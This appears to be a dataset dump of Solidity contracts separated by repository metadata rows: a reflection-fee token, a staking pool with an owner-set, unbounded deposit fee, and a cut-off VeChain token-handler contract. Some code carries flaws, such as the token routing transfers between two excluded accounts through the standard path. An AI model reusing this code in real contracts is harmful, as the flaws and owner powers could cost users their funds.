_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(15);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 97,808 | 13,476 |
ab4c57fbf829c79f9b6bea70c65c467d71f90817ab3cb14dce3110e812f14e69
| 25,369 |
.sol
|
Solidity
| false |
384678459
|
LamboFarm/LamboFarmContracts
|
0be0644f3c5310470c230ffc516b819ee0e48073
|
StakingPoolTokenRewarded.sol
| 4,255 | 16,929 |
pragma solidity ^0.5.16;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// https://docs.synthetix.io/contracts/source/interfaces/istakingrewards
interface IStakingRewards {
// Views
function balanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function rewardsDistribution() external view returns (address);
function rewardsToken() external view returns (address);
function totalSupply() external view returns (uint256);
// Mutative
function exit() external;
function getReward() external;
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
}
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.synthetix.io/contracts/source/contracts/rewardsdistributionrecipient
contract RewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
// https://docs.synthetix.io/contracts/source/contracts/pausable
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
// based on https://docs.synthetix.io/contracts/source/contracts/stakingrewards
contract StakingPoolTokenRewarded is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public depositFee = 10; // promill
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 70 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
bool public locked = true;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(locked == false, "Pool is locked");
require(amount > 1000, "Cannot stake less than 1000");
uint256 feeAmount = amount.div(1000).mul(depositFee);
uint256 stakingAmount = amount.sub(feeAmount);
_totalSupply = _totalSupply.add(stakingAmount);
_balances[msg.sender] = _balances[msg.sender].add(stakingAmount);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// End rewards emission earlier
function updatePeriodFinish(uint timestamp) external onlyOwner updateReward(address(0)) {
periodFinish = timestamp;
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token");
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period");
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
function setDepositFee(uint256 fee) external onlyOwner {
require(fee >= 0,
"Fee must be >= 0");
depositFee = fee;
emit DepositFeeUpdated(fee);
}
function withdrawFees(address receiver) external onlyOwner {
uint256 amount = _balances[address(this)];
require(amount > 0, "Cannot withdraw 0 or less");
_balances[address(this)] = 0;
stakingToken.safeTransfer(receiver, amount);
emit FeesWithdrawn(receiver, amount);
}
function unlock() external onlyOwner {
locked = false;
}
function lock() external onlyOwner {
locked = true;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event FeesWithdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event DepositFeeUpdated(uint256 newFee);
event Recovered(address token, uint256 amount);
}
| 232,890 | 13,477 |
78168ef515a8667c0a43f5de09f8c2c7e7192abd66c0c2122020bec3da3d0a5a
| 20,694 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0xdd8637458ddfbf0ca31c3f7ff7be76ea5013fdc5.sol
| 4,057 | 19,775 |
pragma solidity >=0.4.22 <0.6.0;
//-----------------------------------------------------------------------------
/// @title Ownable
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
//-----------------------------------------------------------------------------
contract Ownable {
//-------------------------------------------------------------------------
/// @dev Emits when owner address changes by any mechanism.
//-------------------------------------------------------------------------
event OwnershipTransfer (address previousOwner, address newOwner);
// Wallet address that can sucessfully execute onlyOwner functions
address owner;
//-------------------------------------------------------------------------
/// @dev Sets the owner of the contract to the sender account.
//-------------------------------------------------------------------------
constructor() public {
owner = msg.sender;
emit OwnershipTransfer(address(0), owner);
}
//-------------------------------------------------------------------------
/// @dev Throws if called by any account other than `owner`.
//-------------------------------------------------------------------------
modifier onlyOwner() {
require(msg.sender == owner,
"Function can only be called by contract owner");
_;
}
//-------------------------------------------------------------------------
/// @notice Transfer control of the contract to a newOwner.
/// @dev Throws if `_newOwner` is zero address.
/// @param _newOwner The address to transfer ownership to.
//-------------------------------------------------------------------------
function transferOwnership(address _newOwner) public onlyOwner {
// for safety, new owner parameter must not be 0
require (_newOwner != address(0),
"New owner address cannot be zero");
// define local variable for old owner
address oldOwner = owner;
// set owner to new owner
owner = _newOwner;
// emit ownership transfer event
emit OwnershipTransfer(oldOwner, _newOwner);
}
}
interface VIP181 {
function ownerOf(uint256 _tokenId) external view returns(address payable);
function getApproved(uint256 _tokenId) external view returns(address);
function isApprovedForAll(address _owner, address _operator) external view returns(bool);
}
interface VIP180 {
function balanceOf(address _tokenOwner) external view returns(uint);
function transfer(address _to, uint _tokens) external returns(bool);
function transferFrom(address _from, address _to, uint _tokens) external returns(bool);
}
//-----------------------------------------------------------------------------
/// @title AAC External Token Handler
/// @notice Defines depositing and withdrawal of VET and VIP-180-compliant
/// tokens into AACs.
//-----------------------------------------------------------------------------
contract AacExternalTokens is Ownable {
//-------------------------------------------------------------------------
/// @dev Emits when external tokens are deposited into AACs from a wallet.
//-------------------------------------------------------------------------
event DepositExternal(address indexed _from,
uint indexed _to,
address indexed _tokenContract,
uint _tokens);
//-------------------------------------------------------------------------
/// @dev Emits when external tokens are withdrawn from AACs to a wallet.
//-------------------------------------------------------------------------
event WithdrawExternal(uint indexed _from,
address indexed _to,
address indexed _tokenContract,
uint _tokens);
//-------------------------------------------------------------------------
/// @dev Emits when external tokens are tranferred from AACs to another AAC.
//-------------------------------------------------------------------------
event TransferExternal(uint indexed _from,
uint indexed _to,
address indexed _tokenContract,
uint _tokens);
// AAC contract
VIP181 public aacContract;
// handles the balances of AACs for every VIP180 token address
mapping (address => mapping(uint => uint)) externalTokenBalances;
// enumerates the deposited VIP180 contract addresses
address[] public trackedVip180s;
// guarantees above array contains unique addresses
mapping (address => bool) isTracking;
uint constant UID_MAX = 0xFFFFFFFFFFFFFF;
//-------------------------------------------------------------------------
/// @dev Throws if called by any account other than token owner, approved
/// address, or authorized operator.
//-------------------------------------------------------------------------
modifier canOperate(uint _uid) {
// sender must be owner of AAC #uid, or sender must be the
// approved address of AAC #uid, or an authorized operator for
// AAC owner
address owner = aacContract.ownerOf(_uid);
require (msg.sender == owner ||
msg.sender == aacContract.getApproved(_uid) ||
aacContract.isApprovedForAll(owner, msg.sender),
"Not authorized to operate for this AAC");
_;
}
//-------------------------------------------------------------------------
/// @dev Throws if parameter is zero
//-------------------------------------------------------------------------
modifier notZero(uint _param) {
require(_param != 0, "Parameter cannot be zero");
_;
}
function setAacContract(address _aacAddress) external onlyOwner {
aacContract = VIP181(_aacAddress);
}
//-------------------------------------------------------------------------
/// @notice Deposit VET from sender to approved AAC
/// @dev Throws if VET to deposit is zero. Throws if sender is not
/// approved to operate AAC #`toUid`. Throws if sender has insufficient
/// balance for deposit.
/// @param _toUid the AAC to deposit the VET into
//-------------------------------------------------------------------------
function depositVET(uint _toUid)
external
payable
canOperate(_toUid)
notZero(msg.value)
{
// add amount to AAC's balance
externalTokenBalances[address(this)][_toUid] += msg.value;
// emit event
emit DepositExternal(msg.sender, _toUid, address(this), msg.value);
}
//-------------------------------------------------------------------------
/// @notice Withdraw VET from approved AAC to AAC's owner
/// @dev Throws if VET to withdraw is zero. Throws if sender is not an
/// approved operator for AAC #`_fromUid`. Throws if AAC
/// #`_fromUid` has insufficient balance to withdraw.
/// @param _fromUid the AAC to withdraw the VET from
/// @param _amount the amount of VET to withdraw (in Wei)
//-------------------------------------------------------------------------
function withdrawVET(uint _fromUid,
uint _amount) external canOperate(_fromUid) notZero(_amount) {
// AAC must have sufficient VET balance
require (externalTokenBalances[address(this)][_fromUid] >= _amount,
"Insufficient VET to withdraw");
// subtract amount from AAC's balance
externalTokenBalances[address(this)][_fromUid] -= _amount;
address payable receiver = aacContract.ownerOf(_fromUid);
// call transfer function
receiver.transfer(_amount);
// emit event
emit WithdrawExternal(_fromUid, receiver, address(this), _amount);
}
//-------------------------------------------------------------------------
/// @notice Withdraw VET from approved AAC and send to '_to'
/// @dev Throws if VET to transfer is zero. Throws if sender is not an
/// approved operator for AAC #`_fromUid`. Throws if AAC
/// #`_fromUid` has insufficient balance to withdraw.
/// @param _fromUid the AAC to withdraw and send the VET from
/// @param _to the address to receive the transferred VET
/// @param _amount the amount of VET to withdraw (in Wei)
//-------------------------------------------------------------------------
function transferVETToWallet(uint _fromUid,
address payable _to,
uint _amount) external canOperate(_fromUid) notZero(_amount) {
// AAC must have sufficient VET balance
require (externalTokenBalances[address(this)][_fromUid] >= _amount,
"Insufficient VET to transfer");
// subtract amount from AAC's balance
externalTokenBalances[address(this)][_fromUid] -= _amount;
// call transfer function
_to.transfer(_amount);
// emit event
emit WithdrawExternal(_fromUid, _to, address(this), _amount);
}
//-------------------------------------------------------------------------
/// @notice Transfer VET from your AAC to another AAC
/// @dev Throws if tokens to transfer is zero. Throws if sender is not an
/// approved operator for AAC #`_fromUid`. Throws if AAC #`_fromUid` has
/// insufficient balance to transfer. Throws if receiver does not exist.
/// @param _fromUid the AAC to withdraw the VIP-180 tokens from
/// @param _toUid the identifier of the AAC to receive the VIP-180 tokens
/// @param _amount the number of tokens to send
//-------------------------------------------------------------------------
function transferVETToAAC (uint _fromUid,
uint _toUid,
uint _amount) external canOperate(_fromUid) notZero(_amount) {
// receiver must have an owner
require(aacContract.ownerOf(_toUid) != address(0), "Invalid receiver UID");
// AAC must have sufficient token balance
require (externalTokenBalances[address(this)][_fromUid] >= _amount,
"insufficient tokens to transfer");
// subtract amount from sender's balance
externalTokenBalances[address(this)][_fromUid] -= _amount;
// add amount to receiver's balance
externalTokenBalances[address(this)][_toUid] += _amount;
// emit event
emit TransferExternal(_fromUid, _toUid, address(this), _amount);
}
//-------------------------------------------------------------------------
/// @notice Deposit VIP-180 tokens from sender to approved AAC
/// @dev This contract address must be an authorized spender for sender.
/// Throws if tokens to deposit is zero. Throws if sender is not an
/// approved operator for AAC #`toUid`. Throws if this contract address
/// has insufficient allowance for transfer. Throws if sender has
/// insufficient balance for deposit. Throws if tokenAddress has no
/// transferFrom function.
/// @param _tokenAddress the VIP-180 contract address
/// @param _toUid the AAC to deposit the VIP-180 tokens into
/// @param _tokens the number of tokens to deposit
//-------------------------------------------------------------------------
function depositTokens (address _tokenAddress,
uint _toUid,
uint _tokens) external canOperate(_toUid) notZero(_tokens) {
// add token contract address to list of tracked token addresses
if (isTracking[_tokenAddress] == false) {
trackedVip180s.push(_tokenAddress);
isTracking[_tokenAddress] = true;
}
// initialize token contract
VIP180 tokenContract = VIP180(_tokenAddress);
// add amount to AAC's balance
externalTokenBalances[_tokenAddress][_toUid] += _tokens;
// call transferFrom function from token contract
tokenContract.transferFrom(msg.sender, address(this), _tokens);
// emit event
emit DepositExternal(msg.sender, _toUid, _tokenAddress, _tokens);
}
//-------------------------------------------------------------------------
/// @notice Deposit VIP-180 tokens from '_to' to approved AAC
/// @dev This contract address must be an authorized spender for '_from'.
/// Throws if tokens to deposit is zero. Throws if sender is not an
/// approved operator for AAC #`toUid`. Throws if this contract address
/// has insufficient allowance for transfer. Throws if sender has
/// insufficient balance for deposit. Throws if tokenAddress has no
/// transferFrom function.
/// @param _tokenAddress the VIP-180 contract address
/// @param _from the address sending VIP-180 tokens to deposit
/// @param _toUid the AAC to deposit the VIP-180 tokens into
/// @param _tokens the number of tokens to deposit
//-------------------------------------------------------------------------
function depositTokensFrom (address _tokenAddress,
address _from,
uint _toUid,
uint _tokens) external canOperate(_toUid) notZero(_tokens) {
// add token contract address to list of tracked token addresses
if (isTracking[_tokenAddress] == false) {
trackedVip180s.push(_tokenAddress);
isTracking[_tokenAddress] = true;
}
// initialize token contract
VIP180 tokenContract = VIP180(_tokenAddress);
// add amount to AAC's balance
externalTokenBalances[_tokenAddress][_toUid] += _tokens;
// call transferFrom function from token contract
tokenContract.transferFrom(_from, address(this), _tokens);
// emit event
emit DepositExternal(_from, _toUid, _tokenAddress, _tokens);
}
//-------------------------------------------------------------------------
/// @notice Withdraw VIP-180 tokens from approved AAC to AAC's
/// owner
/// @dev Throws if tokens to withdraw is zero. Throws if sender is not an
/// approved operator for AAC #`_fromUid`. Throws if AAC
/// #`_fromUid` has insufficient balance to withdraw. Throws if
/// tokenAddress has no transfer function.
/// @param _tokenAddress the VIP-180 contract address
/// @param _fromUid the AAC to withdraw the VIP-180 tokens from
/// @param _tokens the number of tokens to withdraw
//-------------------------------------------------------------------------
function withdrawTokens (address _tokenAddress,
uint _fromUid,
uint _tokens) external canOperate(_fromUid) notZero(_tokens) {
// AAC must have sufficient token balance
require (externalTokenBalances[_tokenAddress][_fromUid] >= _tokens,
"insufficient tokens to withdraw");
// initialize token contract
VIP180 tokenContract = VIP180(_tokenAddress);
// subtract amount from AAC's balance
externalTokenBalances[_tokenAddress][_fromUid] -= _tokens;
// call transfer function from token contract
tokenContract.transfer(aacContract.ownerOf(_fromUid), _tokens);
// emit event
emit WithdrawExternal(_fromUid, msg.sender, _tokenAddress, _tokens);
}
//-------------------------------------------------------------------------
/// @notice Transfer VIP-180 tokens from your AAC to `_to`
/// @dev Throws if tokens to transfer is zero. Throws if sender is not an
/// approved operator for AAC #`_fromUid`. Throws if AAC
/// #`_fromUid` has insufficient balance to transfer. Throws if
/// tokenAddress has no transfer function.
